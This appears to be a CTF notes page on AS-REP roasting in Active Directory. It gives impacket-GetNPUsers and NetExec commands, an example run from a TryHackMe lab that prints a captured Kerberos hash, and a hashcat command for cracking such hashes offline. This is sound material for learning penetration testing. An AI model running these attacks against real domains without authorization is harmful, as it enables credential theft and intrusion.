> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/ad-authentication-attacks/unauthenticated-ad-attacks.md). # Unauthenticated AD Attacks Attacks without the need for any credentials at all. ## Types of unauthenticated attacks ### AS-REP Roasting The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS\_REQ request to the KDC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. #### AS-REP Roasting with Impacket (GetNPUsers.py) `GetNPUsers.py` from Impacket can retrieve kerberoast tickets for users that do not require pre-authentication. It will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF\_DONT\_REQUIRE\_PREAUTH). With a list of previously known or possible usernames, **no credentials is required**. ```bash impacket-GetNPUsers -dc-ip $TARGET_IP -no-pass -usersfile users.txt -outputfile asrep_hashes.txt / ``` Add `-format john` to output hashes in John the Ripper Format. The default is `-format hashcat`.
Example run ```bash ┌──(kali㉿kali)-[/mnt/…/TryHackMe/Challenges/Easy/VulnNet_Roasted] └─$ impacket-GetNPUsers vulnnet-rst.local/ -dc-ip $TARGET_IP -no-pass -usersfile usernames.txt -outputfile asrep_hashes.txt Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$t-skid@VULNNET-RST.LOCAL:469cfed8e7fea0d4a49a0cc43b9528eb$c2750c4f08cb89ae2c668e14510837b0ed3149dd2930d472789173df00629d3dc9a136860ad6a172158cabe5e02fbdfb630702be29b1d01a158dcedfcd2a90f9868d33ef9191532800c23452d73b7c9e7ff3a4860eb1a0b9ce72d5d44317d3ff70e130c3182050441401174a40546e7ba50ede37b61d4f46450ef6fbb43601f9f0b2008d7cbb3f5da1b1bc88a8cf9cba8d37a8112c519ae5ed13592ded65dea00266fd4c94422fa338a0909ae4a65630bda553ac872801fd37cf865cadf0e33d43cef71a91987b9b719be691fa7806b0d2b895d230c87d94cca4155fa693e29be28ede7ab90d25ba791393047f2d3fdf8621e87bec44 [-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set ```
{% hint style="info" %} Note Crack the hashes with `hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt` {% endhint %} If you don't have a custom `users.txt` file you can try a default wordlist from `seclists` such as `xato-net-10-million-usernames.txt` ```bash impacket-GetNPUsers -dc-ip $TARGET_IP -no-pass -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -outputfile asrep_hashes.txt / | grep -v 'Kerberos SessionError' ``` But **note** that the file is LARGE and this will take quite some time! **Usage information**
impacket-GetNPUsers -h ```bash ┌──(kali㉿kali)-[~] └─$ impacket-GetNPUsers -h Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE] [-format {hashcat,john}] [-usersfile USERSFILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-dc-host hostname] target Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking positional arguments: target [[domain/]username[:password]] options: -h, --help show this help message and exit -request Requests TGT for users and output them in JtR/hashcat format (default False) -outputfile OUTPUTFILE Output filename to write ciphers in JtR/hashcat format -format {hashcat,john} format to save the AS_REQ of users without pre-authentication. Default is hashcat -usersfile USERSFILE File with user per line to test -ts Adds timestamp to every logging output -debug Turn DEBUG output ON authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) connection: -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter -dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used ```
#### AS-REP Roasting with NetExec You can also perform AS-REP roasting with [NetExec](https://www.netexec.wiki/ldap-protocol/asreproast) over LDAP. The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS\_REQ request to the KDC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. With a list of previously known or possible usernames, no credentials is required. ```bash nxc ldap -u users.txt -p '' -d --asreproast output.txt ``` ## Resources Impacket - GitHub: Impacket - Homepage: Impacket - Kali Tools: Impacket-scripts - Kali Tools: